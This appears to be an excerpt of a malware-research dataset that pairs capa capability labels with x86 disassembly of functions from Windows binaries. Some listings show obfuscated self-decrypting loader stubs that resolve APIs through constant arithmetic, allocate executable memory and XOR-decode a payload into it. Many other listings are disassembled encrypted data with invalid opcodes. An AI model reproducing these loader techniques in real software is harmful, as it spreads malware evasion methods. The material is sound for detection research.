joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003017d
Capabilities:
Read http header

Disassembly:
call fcn.10153eec
inc esi
xchg dword [ebp - 0x75], edx
in al, dx
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
push edi
xor ebx, ebx
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push ebx
mov edi, ecx
push 5
push dword [edi + 8]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], 8
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x100301ed
push dword [ebp - 4]
call sub.MSVCR80.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
push ebx
lea ecx, [ebp - 4]
push ecx
push eax
push ebx
push 5
push dword [edi + 8]
mov dword [ebp - 8], eax
call esi
test eax, eax
je 0x100301e4
push dword [ebp - 8]
call dword [sym.imp.MSVCR80.dll__wtoi64]
pop ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
push dword [ebp - 8]
call sub.MSVCR80.dll_void___cdecl_operator_delete___void__
pop ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10031127
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 8

Function at 0x1003117d
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
test esi, esi
mov ebx, ecx
jne 0x10031193
push 0x80004005
call fcn.100014f6
push edi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x10031196
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
ret 8

Function at 0x100317b7
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x10071ef0]
xor eax, ebp
mov dword [ebp + 0x194], eax
mov eax, dword [ebp + 0x1a0]
push ebx
push esi
push edi
push 0x2001f
mov ebx, ecx
push eax
push dword [ebx]
xor esi, esi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x70], esi
call fcn.100310f2
mov edi, eax
cmp edi, esi
je 0x1003181f
lea ecx, [ebp - 0x70]
call fcn.1003108d
mov eax, edi
mov ecx, dword [ebp + 0x194]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003e70b
add ebp, 0x198
leave
ret 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x10031837
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x70]
call fcn.100317b7
cmp eax, esi
jne 0x1003186a
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x6c]
push eax
push esi
push dword [ebp - 0x70]
mov dword [ebp - 0x74], pe_nt_image_headers32
call edi
test eax, eax
je 0x10031827
lea ecx, [ebp - 0x70]
call fcn.1003108d
push dword [ebp - 0x78]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea ecx, [ebp - 0x70]
mov esi, eax
call fcn.1003108d
mov eax, esi
jmp 0x10031805
Function at 0x10036410
Capabilities:
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
movzx eax, byte [ecx]
movzx edx, byte [ecx + 1]
not eax
and eax, 0xff
mov eax, dword [eax*4 + 0x10071a68]
xor eax, 0xffffff
xor edx, eax
add ecx, 1
shr eax, 8
and edx, 0xff
xor eax, dword [edx*4 + 0x10071a68]
movzx edx, byte [ecx + 1]
xor edx, eax
add ecx, 1
shr eax, 8
and edx, 0xff
xor eax, dword [edx*4 + 0x10071a68]
mov edx, eax
movzx eax, byte [ecx + 1]
xor eax, edx
and eax, 0xff
mov eax, dword [eax*4 + 0x10071a68]
not eax
shr edx, 8
xor eax, edx
ret

Function at 0x10037740
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xa4
mov eax, dword [0x10071ef0]
xor eax, esp
mov dword [esp + 0xa0], eax
mov eax, dword [0x10071e80]
test eax, eax
je 0x10037841
mov eax, dword [0x10071e78]
sub eax, 1
je 0x10037782
xor eax, eax
mov ecx, dword [esp + 0xa0]
xor ecx, esp
call fcn.1003e70b
add esp, 0xa4
ret
push esi
xor esi, esi
mov eax, dword [0x10071e78]
sub eax, 1
jne 0x100377c1
lea ecx, [esp + 4]
push ecx
call fcn.1003c680
mov edx, dword [0x100828e8]
push 0x140
push edx
lea eax, [esp + 0x10]
push eax
call fcn.1003e120
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x78]
push edx
call fcn.1003e1e0
add esp, 0x18
xor eax, eax
mov ecx, dword [0x100828e8]
movzx edx, byte [esp + eax + 0x64]
add ecx, eax
xor byte [ecx + esi], dl
movzx edx, byte [esp + eax + 0x65]
add ecx, esi
mov ecx, dword [0x100828e8]
add ecx, eax
xor byte [ecx + esi + 1], dl
movzx edx, byte [esp + eax + 0x66]
lea ecx, [ecx + esi + 1]
mov ecx, dword [0x100828e8]
add ecx, eax
xor byte [ecx + esi + 2], dl
movzx edx, byte [esp + eax + 0x67]
lea ecx, [ecx + esi + 2]
mov ecx, dword [0x100828e8]
add ecx, eax
xor byte [ecx + esi + 3], dl
movzx edx, byte [esp + eax + 0x68]
lea ecx, [ecx + esi + 3]
mov ecx, dword [0x100828e8]
add ecx, eax
xor byte [ecx + esi + 4], dl
lea ecx, [ecx + esi + 4]
add eax, 5
cmp eax, 0x14
jl 0x100377c3
add esi, 0x14
cmp esi, 0x140
jl 0x10037785
pop esi
mov ecx, dword [esp + 0xa0]
xor ecx, esp
mov eax, 1
call fcn.1003e70b
add esp, 0xa4
ret
Function at 0x1003c680
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret
Function at 0x1003e70b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10071ef0]
jne 0x1003e715
repz ret
jmp fcn.1003f104

Function at 0x10043494
Capabilities:
Execute syscall

Disassembly:
mov eax, dword [sym.Engine.dll_A0DB34FC6FE35D429A28ADDE5467D4D7]
lea edx, [esp + 4]
int 0x2e
ret 0x28

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x44eb0e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00445bac
and dword [ebp - 4], 0
cmp dword [0x473344], 0
mov ebx, eax
jne 0x44ebbf
push 0x45eb1c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x44ec70
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x45eb10
push edi
call esi
test eax, eax
je 0x44ec70
push eax
call fcn.00445b3a
mov dword [esp], 0x45eb00
push edi
mov dword [0x473344], eax
call esi
push eax
call fcn.00445b3a
mov dword [esp], 0x45eaec
push edi
mov dword [0x473348], eax
call esi
push eax
call fcn.00445b3a
mov dword [esp], 0x45ead0
push edi
mov dword [0x47334c], eax
call esi
push eax
call fcn.00445b3a
pop ecx
mov dword [0x473354], eax
test eax, eax
je 0x44ebbf
push 0x45eab8
push edi
call esi
push eax
call fcn.00445b3a
pop ecx
mov dword [0x473350], eax
mov eax, dword [0x473350]
cmp eax, ebx
je 0x44ec17
cmp dword [0x473354], ebx
je 0x44ec17
push eax
call fcn.00445bb5
push dword [0x473354]
mov esi, eax
call fcn.00445bb5
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x44ec17
test edi, edi
je 0x44ec17
call esi
test eax, eax
je 0x44ec0e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44ec0e
test byte [ebp - 0xc], 1
jne 0x44ec17
or dword [ebp + 0x10], 0x200000
jmp 0x44ec50
mov eax, dword [0x473348]
cmp eax, ebx
je 0x44ec50
push eax
call fcn.00445bb5
pop ecx
test eax, eax
je 0x44ec50
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x44ec50
mov eax, dword [0x47334c]
cmp eax, ebx
je 0x44ec50
push eax
call fcn.00445bb5
pop ecx
test eax, eax
je 0x44ec50
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x473344]
call fcn.00445bb5
pop ecx
test eax, eax
je 0x44ec70
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44ec72
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x46a18f
Capabilities:
Encode data using xor

Disassembly:
inc edx
mov al, 0xe2
mov esi, 0x85a729e8
xchg edx, eax
lodsb al, byte [esi]
pop ebx
invalid
sbb byte [ebx], bh
leave
mov ecx, 0xb68f666a
mov byte cs:[0xddae6248], al
pop eax
lds esi, [esi + edi*8]
scasb al, byte es:[edi]
fstp qword [eax - 0x3b]
xor al, 0xfe
enter 0xffffffffffffd413, 0xffffffffffffffb0
enter 0x57d7, 0xffffffffffffffc6
push eax
outsd dx, dword [esi]
inc esp
mov ds, ebx
mov dl, 0x2c
sub al, 0x42
aas
pop ecx
je 0x46a19b
je 0x46a1d6
stc
push ds
xchg edx, eax
lcall 0x34b2, 0x14429ed5
sub esi, edi
sahf
fsubr st(2)
pop ss
mov eax, dword [0x4af9535d]
dec eax
and dword [esi + edx*8 + 0x5a886424], ecx
leave
and esp, dword [ebx]
js 0x46a162
xchg byte [edx - 0x32d7d007], dh
in al, dx
outsb dx, byte [esi]
stosd dword es:[edi], eax
xchg edx, eax
cdq
enter 0xffffffffffffda1c, 0x3e
add al, 0x62
inc edi
cmp eax, 0xe7f66841
jecxz 0x46a24b
xor ah, bh
std
leave
mov al, byte [0x6d2ee448]
push esp
mov ch, 0x89
fnsave dword [eax + 0x7f]
dec ax
popfd
invalid
sbb bh, byte [edx + 0x71711a18]
cwde
mov al, ah
test al, 0x95
invalid
Function at 0x47d59f
Capabilities:
Encode data using xor

Disassembly:
pop eax
adc al, 0xf6
pop esp
xchg esp, eax
or al, 0x16
mov dl, 0x26
xchg edi, eax
add cl, 0xc6
pop ebx
lodsd eax, dword [esi]
mov bh, 0xd7
sal byte [edx + ebp*4 + 0x45311379], 1
dec ebx
pushfd
push ebx
mov ah, 0x42
push edi
pop es
scasd eax, dword es:[edi]
add eax, 0x2430ea83
sbb ah, byte [ecx - 2]
invalid
loop 0x47d545
fdiv qword [esp + ebp*4 - 0x56]
xor eax, 0x9909e1a
mov cl, ch
fldcw word [eax - 0x56ba4092]
push ebp
loopne 0x47d580
cmp dword [ecx], ebx
fdivr st(6), st(0)
js 0x47d615
and ch, bh
ficomp dword [ebx]
sbb edx, dword [ebp + eax + 0x6cf6d9e6]
sbb edx, dword [ebp + eax + 0x6cf6d9e6]
cmp byte [ecx + 1], ah
mov bl, 0xda
cmp bh, byte [edx - 0x2df39637]
xor al, 0x15
or dword [edx - 0x57], eax
pop eax
jns 0x47d61b
jl 0x47d594
ja 0x47d5d5
mov ah, 0x1c
fild dword ds:[edi + ecx*4 - 0x5e]
ficomp word [esi]
out dx, eax
xchg byte [bx + si + 0x2e], ch
outsb dx, byte [esi]
xlatb
jno 0x47d5ec
hlt
sbb al, 0xef
adc eax, 0xf2035b3d
nop
inc ecx
mov byte [0x3c8a7b1f], al
mov fs, word [esi + 0x73952a84]
add dl, byte [ecx + 0x7a]
push ecx
jp 0x47d662
jne 0x47d61e
xor byte [ebp - 0x58], bh
jge 0x47d598
mov edx, 0x65f9e43f
std
push edx
xchg edx, eax
pushfd
pop ds
cli
or byte [edx + 0xb], cl
pushfd
jl 0x47d5ea
call 0x7a4dd8ab
sbb ebx, ecx
lahf
fld dword [0xf6ff7b14]
adc al, 0x7b
push esi
test byte [edi - 4], dh
mov edi, 0x4cd01b9a
rol ebp, 1
lcall 0xe5c5, 0xd14cd01b
and dword [ebp - 0x4028e320], eax
jle 0x47d638
in eax, 0x21
test eax, esp
sbb al, 0xd7
loopne 0x47d63c
xlatb
mov edi, 0xcb05147e
mov ch, 0x66
aad 0xfd
add eax, 0xd566b5cb
std
dec eax
xor al, 0xdd
test eax, 0x6f425d7
sub al, 0x38
push es
jne 0x47d686
invalid
jae 0x47d666
push ebp
ret
fcom qword [esi]
push 0x4cfd4dca
add bl, ah
push edi
mov eax, dword [0xadab2717]
xor al, 0x95
popal
mov edi, dword [edi]
std
cmc
movsd dword es:[edi], dword [esi]
mov ecx, 0xaac7edc3
pop esi
pop edi
paddw mm7, mm2
push eax
push ebx
push 0xffffffffffffffce
ja 0x47d60d
stosb byte es:[edi], al
mov es, word [eax]
push esp
pop ebx
mov ch, 0x9e
inc eax
jae 0x47d68f
or eax, 0xf51d6a8d
mov dword [0x7841a065], eax
wait
insd dword es:[edi], dx
add al, 0xc8
cmp eax, 0x25ac066d
cmp al, 0x24
xchg si, ax
mov ecx, 0x3cac88b7
cmpsd dword [esi], dword es:[edi]
lodsb al, byte [esi]
cmp al, 0xa7
adc dword [ebp - 0x212ff6b0], edx
push edx
sbb ebp, dword [edi + 0xb]
add ebp, dword [edi + 0x6b041f28]
adc byte [eax], 0x63
mov dword [0xeca8aef7], ebp
sub byte [esi], bh
mov dword [0x2a70aa86], eax
add edi, edi
or al, 0x6d
mov ah, 0x13
and ebx, dword [0x286eeda8]
sub eax, 0xef71598e
inc edi
and byte [esi + ecx*2 - 7], 0x32
lodsd eax, dword [esi]
cmp eax, 0x14eb5e00
mov bl, byte [esi + 0x752d4b]
in eax, 0x65
out 0x40, eax
sbb bl, ah
ret
Function at 0x491d0f
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
cmp esi, edi
jge 0x491d23
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + esi*4]
test byte [ecx + eax*4], 0xfc
mov eax, 0
setne al
xchg ebp, eax
sar byte [ebx], 0xc3
xchg ebp, eax
sar byte [ebx], 0xc3
jne 0x491d23
mov eax, ebx
inc esi
xor eax, 1
inc edx
add dword [ebp - 4], eax
cmp esi, edi
jl 0x491cff
mov ecx, dword [ebp - 0x10]
xor eax, eax
cmp esi, edi
setge al
push eax
push ebx
call fcn.004912ef
add esp, 8
xor ebx, 1
cmp esi, edi
jl 0x491cf6
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x31a], 3
jb 0x491de1
cmp dword [ebp - 4], edi
jge 0x491de1
mov ecx, dword [ebp - 0xc]
xor esi, esi
mov edx, dword [ebp - 8]
mov eax, dword [ecx]
test byte [edx + eax*4], 0xfc
jne 0x491d7a
nop dword [eax + eax]
mov eax, dword [ecx + esi*4 + 4]
inc esi
test byte [edx + eax*4], 0xfc
je 0x491d6f
mov eax, dword [ecx + esi*4]
push 1
mov ebx, dword [edx + eax*4]
shr ebx, 2
and ebx, 0x3f
dec ebx
push ebx
push dword [ebp - 0x10]
call fcn.004adf6f
add esp, 0xc
cmp esi, edi
jge 0x491de1
nop word [eax + eax]
mov ecx, dword [ebp - 8]
xor edx, edx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + esi*4]
mov eax, dword [ecx + eax*4]
shr eax, 2
and eax, 0x3f
je 0x491dbb
dec eax
cmp eax, ebx
jne 0x491dc0
inc edx
inc esi
cmp esi, edi
jl 0x491da4
mov ecx, dword [ebp - 0x10]
xor eax, eax
cmp esi, edi
setge al
push eax
push ebx
call fcn.004912ef
xor eax, eax
add esp, 8
test ebx, ebx
sete al
mov ebx, eax
cmp esi, edi
jl 0x491d9f
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x492e1f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x58
movups xmm0, xmmword [edx]
push esi
mov esi, ecx
movups xmmword [esp + 0x1c], xmm0
adc dword [esp + 0x1c], eax

Function at 0x49472f
Capabilities:
Encode data using xor

Disassembly:
and eax, 0x401225f4
pop es
xchg esi, eax
xor eax, 0x7ce610a
invalid
rcl cl, 1
shr byte [ebp + 0x421186ca], 0xa3
clc
jae 0x494701
or eax, 0xc3ad8d18
ret 0x3219
Function at 0x4a9cbf
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], ebx
push esi
push edi
test ebx, ebx
jne 0x4a9cdb
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebx + 0xc984], 0xffffffff
jle 0x4a9cf0
mov eax, 0xfffffff6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edx, edx
lea edi, [ebx + 0x11fb0]
mov eax, 0x4a2d20
mov ecx, 0x62
cmovne eax, edx
lea edx, [ebx + 0x12838]
mov esi, eax
mov dword [ebp - 0x2c], eax
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 0x12138]
mov edi, 0x40
lea esi, [ebx + 0x9a0]
nop dword [eax]
nop dword [eax + eax]
lea eax, [esi - 0x80]
mov dword [ecx - 0x11e14], esi
mov dword [ecx - 0x11e18], eax
lea ecx, [ecx + 0x18]
mov dword [ecx - 0x14], edx
lea eax, [edx - 0x100]
mov dword [ecx - 0x18], eax
lea eax, [esi + 0x80]
mov dword [ecx - 0x11e28], eax
lea eax, [edx + 0x100]
mov dword [ecx - 0x10], eax
lea eax, [esi + 0x100]
mov dword [ecx - 0x11e24], eax
lea eax, [edx + 0x200]
mov dword [ecx - 0xc], eax
lea eax, [esi + 0x180]
mov dword [ecx - 0x11e20], eax
lea eax, [edx + 0x300]
mov dword [ecx - 8], eax
lea eax, [esi + 0x200]
mov dword [ecx - 0x11e1c], eax
add esi, 0x300
lea eax, [edx + 0x400]
add edx, 0x600
mov dword [ecx - 4], eax
sub edi, 1
jne 0x4a9d2f
push dword [ebp - 0x2c]
add ebx, 0x320
xor edx, edx
mov ecx, ebx
mov dword [ebp - 8], ebx
call fcn.004aefaf
mov eax, ebx
mov dword [ebp - 0x20], edi
add esp, 4
mov dword [ebp - 4], edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x30], 3
Function at 0x4a9eef
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ecx
nop dword [eax + eax]
xor edi, edi
mov dword [ebp - 0x10], edi
xor esi, esi
test ecx, ecx
js 0x4a9e3b
lea eax, [eax + edi*8]
add eax, ecx
mov dword [ebp - 0x28], eax
xor ecx, ecx
mov edx, edi
cmp esi, ebx
cmovl edx, dword [ebp - 0x30]
test edx, edx
je 0x4a9e36
mov edi, dword [eax]
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 8]
add eax, esi
lea eax, [ebx + eax*4]
mov ebx, dword [ebp - 0x18]
cmp edi, dword [eax]
je 0x4aa0a6
inc ecx
add eax, 8
cmp ecx, edx
jl 0x4a9e20
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
inc esi
cmp esi, ebx
jle 0x4a9e02
mov eax, dword [ebp - 4]
xor ecx, ecx
mov edx, dword [ebp - 0xc]
add eax, edi
mov esi, dword [ebp - 8]
add edx, 0x12138
mov dword [ebp - 0x28], ecx
lea eax, [ebx + eax*2]
shl eax, 2
add edx, eax
add esi, eax
xor eax, eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x24], eax
mov ebx, dword [edx]
add ebx, eax
mov eax, dword [esi]
mov ax, word [ecx + eax]
add ax, ax
movzx ecx, ax
mov eax, ecx
mov edx, ecx
shr eax, 1
mov edi, ecx
or ecx, eax
mov eax, ecx
shr eax, 2
or ecx, eax
mov eax, ecx
shr eax, 4
or ecx, eax
mov eax, ecx
shr eax, 8
or eax, ecx
shr eax, 1
inc eax
imul eax, eax, 0x77cb531
shr eax, 0x1b
movzx esi, byte [eax + 0x4a36d4]
xor eax, eax
cmp eax, edx
sbb eax, eax
xor edx, edx
neg eax
dec eax
add esi, eax
mov eax, 1
mov word [ebx + 2], si
lea ecx, [esi + 0x10]
mov esi, dword [ebp - 0x3c]
shl eax, cl
div edi
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x34]
inc eax
mov word [ebx], ax
add ecx, 2
mov eax, dword [ebp - 0x24]
add eax, 4
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
cmp eax, 0x100
jl 0x4a9e66
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x10]
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
inc edi
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], edi
cmp edi, 3
jl 0x4a9df4
add ecx, 4
inc ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ecx
cmp ecx, 8
jl 0x4a9def
add dword [ebp - 0x20], 6
add esi, 3
add eax, 0x18
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], eax
cmp esi, 0xc0
inc al
add byte [eax], al
add byte [edi], cl
invalid
cmpsb byte [esi], byte es:[edi]
invalid
invalid
invalid
mov eax, dword [ebp - 0x2c]
mov esi, 0x4a38d0
mov dword [ebp - 0x14], esi
movups xmm0, xmmword [eax + 0x100]
mov eax, dword [ebp - 4]
mov edi, dword [ebp - 0x10]
add eax, ecx
lea edx, [esi + eax*2]
mov esi, dword [ebp - 4]
lea eax, [esi + edi]
lea ecx, [ebx + eax*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4 + 0x12138]
mov edx, dword [ebp - 0xc]
mov dword [edx + ecx*4 + 0x12138], eax
jmp 0x4a9ef8
Function at 0x4aefaf
Capabilities:
Encode data using xor

Disassembly:
pop esi
inc edx
xor eax, 0x613f8d92
outsb dx, byte [esi]
cmp dword [edi + 0x35], ebx
movsb byte es:[edi], byte [esi]
outsb dx, byte [esi]
sahf
sahf
sub byte [edi - 0x6017c5c7], cl
test byte [edi - 0x2b], bl
pop edi
cdq
sub byte [ecx], cl
push 0xb5e2
mov dh, 0xe8
or cl, 0x9f
call 0x8aa40a6
stosb byte es:[edi], al
push 0xffffffffffffffdf
mov esp, 0x38ee2865
xchg ebp, ebp
add byte [eax + edx*4], 0xef
xor eax, 0x68fe001f
push esp
sub dword [edx + 0x28], eax
lahf
stc
pop eax
jecxz 0x4aef59
cmp dword [eax - 0x1546bb6f], esi
wait
mov edx, 0x71c84529
test al, 0xf0
stc
inc edx
cmp dword [ecx + 0x15d90c99], ebx
jne 0x4aef58
test eax, 0xd9ce354c
cmp edi, ecx
inc edx
inc byte [ebx]
invalid

Function at 0x4ba040
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
push ebx
push esi
push edi
lea eax, [ebp - 0x198]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x1a8], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x1ac], eax
lea ecx, [ebp - 0x19c]
push ecx
push 0x2000000
mov edx, dword [ebp - 0x1ac]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4ba0e4
push 4
lea eax, [ebp - 0x1a8]
push eax
push 0x18
mov ecx, dword [ebp - 0x19c]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4ba0d7
mov edx, dword [ebp - 0x19c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1ac], 0
je 0x4ba0d5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x4ba0e4
mov eax, dword [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x77b04b
Function at 0x4bb0d2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3310
cmp edx, dword [eax]
je 0x4bb0f4
add eax, 8
inc ecx
cmp eax, 0x4c33a0
jl 0x4bb0e5
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3310]
jne 0x4bb222
mov eax, dword [0x4c79b4]
cmp eax, 1
je 0x4bb1fc
test eax, eax
jne 0x4bb125
cmp dword [0x4c3250], 1
je 0x4bb1fc
cmp edx, 0xfc
je 0x4bb222
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb15c
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bb7f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bba20
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb19f
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bba20
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bf9d0
push edi
call fcn.004bd1f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bb7f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bb800
lea eax, [ebp - 0xa0]
push 0x4bf9b0
push eax
call fcn.004bb800
push dword [esi + 0x4c3314]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bb800
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bd164
add esp, 0x2c
pop edi
jmp 0x4bb222
lea eax, [ebp + 8]
lea esi, [esi + 0x4c3314]
push 0
push eax
push dword [esi]
call fcn.004bba20
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401b66
leave
ret

Function at 0x4011a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4011b5
pop dword [ebp - 0x18]
mov eax, 0x4011b5
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xbd6b5d62
sub dword [ebp - 0x28], 0x6f191817
mov dword [ebp - 0x24], 0x4e6ed35
add dword [ebp - 0x24], 0x2d4c5f10
mov dword [ebp - 0x20], 0xc3e8d89
sub dword [ebp - 0x20], 0xbff2495b
mov dword [ebp - 0x1c], 0xac4ffe96
sub dword [ebp - 0x1c], 0xac4ffe96
lea eax, [ebp - 0x28]
push eax
mov eax, 0xbb9ecd3
sub eax, 0xb791c87
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xd0534c26
sub dword [ebp - 0x28], 0x5be0e2d0
mov dword [ebp - 0x24], 0x1aee0faa
sub dword [ebp - 0x24], 0xd981ae35
mov dword [ebp - 0x20], 0xcf8a5913
sub dword [ebp - 0x20], 0x6c1aeca7
mov dword [ebp - 0x1c], 0xcb1fc3d4
sub dword [ebp - 0x1c], 0xcb1fc3d4
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xb4dcfb20
sub eax, 0xb49c2ad8
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x39207
push 0
call eax
mov ecx, 0x469d
xor edi, edi
add edi, eax
mov esi, 0x91583708
add esi, 0x6ee978f8
add esi, dword [ebp - 0x18]
mov ebx, 0xefb3288a
sub ebx, 0x3fb863a0
add dword [ebp - 4], ecx
mov edx, dword [esi]
add dword [ebp - 4], 0x8a3f801f
xor edx, ebx
sub dword [ebp - 0x10], ebx
mov dword [edi], edx
